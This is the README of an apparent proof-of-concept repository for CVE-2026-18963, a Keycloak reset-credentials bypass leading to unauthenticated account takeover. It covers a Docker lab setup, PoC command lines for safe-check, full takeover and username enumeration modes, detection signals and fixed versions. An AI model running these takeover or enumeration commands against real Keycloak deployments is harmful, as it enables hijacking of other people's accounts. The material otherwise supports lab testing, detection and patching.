- Python 100%
|
|
||
|---|---|---|
| account_takeover.png | ||
| check_vul.png | ||
| cve_2026_18963_poc.py | ||
| docker-compose.yml | ||
| README.md | ||
| realm-poc.json | ||
CVE-2026-18963
Keycloak reset-credentials bypass → unauthenticated account takeover CVSS 9.1 | Affected: Keycloak 26.0.0 – 26.7.1
Layout
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml <- Lab environment
└── realm-poc.json <- Keycloak realm config (auto-imported)
Requirements
- Docker + Docker Compose
- Python 3.9+ (standard library only, nothing to install)
- Linux
Step 1: Start the lab
docker compose up -d
Or run Keycloak directly, without the realm import:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Wait ~30–60 seconds for Keycloak to finish booting.
Services
| Service | URL | Version | Status |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VULNERABLE ⚠️ |
| Mailpit | http://localhost:8025 | latest | Captures email |
Default credentials
- Keycloak admin:
admin/admin - Victim user:
victim/OriginalPassw0rd! - Realm:
poc| Client:poc-app - Verify config: Realm settings → Login tab → Forgot password is ON.
- If the
pocrealm or thevictimuser is missing, import it manually: Manage realms → Create realm → Uploadrealm-poc.json.
Step 2: Run the PoC
Safe check (no username required, no side effects)
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Expected result on kc-vuln:
[!] VULNERABLE — email gate execution served
Non-destructive proof (stops at the Update Password form)
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Side effects: a reset email is sent to the victim (view it at http://localhost:8025), and
emailVerifiedis set totrue.
Full takeover
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
Afterwards, verify by logging in at http://localhost:8080/realms/poc/account
with victim / PoCPassw0rd!1.
Username enumeration
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
Step 3: Reset the victim to its initial state
The realm is imported only on first boot, so the simplest reset is to recreate the environment from scratch:
docker compose down -v && docker compose up -d
Alternatively, reset the password manually in the admin console
(http://localhost:8080/admin): Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
Teardown
docker compose down -v
Detection signals
| Signal | Legitimate | Exploit |
|---|---|---|
GET /login-actions/action-token?... |
✅ Yes | ❌ No |
POST .../reset-credentials with body tryAnotherWay=yes |
❌ No | ✅ Yes |
SEND_RESET_PASSWORD → UPDATE_PASSWORD with the same code_id < 2 s |
Rare | ✅ Always |
emailVerified flips to true with no VERIFY_EMAIL event |
❌ | ✅ Always |
In Mailpit (http://localhost:8025) the password-reset email arrives in the victim's mailbox, but the link inside it is never clicked when the exploit succeeds.
Affected versions
| Release line | Affected | Fix |
|---|---|---|
| ≤ 17 (WildFly) | No | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | None (must move to 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport) |
| 26.5 | 26.5.0 – 26.5.7 | None |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (vendor backport) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Versions before 26.0 are not affected: the sticky
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDnote and the "Try another way" selector screen in the reset flow were introduced in 26.0.0. Older builds simply lack the vulnerable code path — that is not the same as being patched.
References
- Sploitus (original README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
- Keycloak issue: https://github.com/keycloak/keycloak/issues/51833
- Fix PR: https://github.com/keycloak/keycloak/pull/51844
- GHSA: GHSA-4gv3-mc9p-5wqc
- Red Hat: https://access.redhat.com/security/cve/cve-2026-18963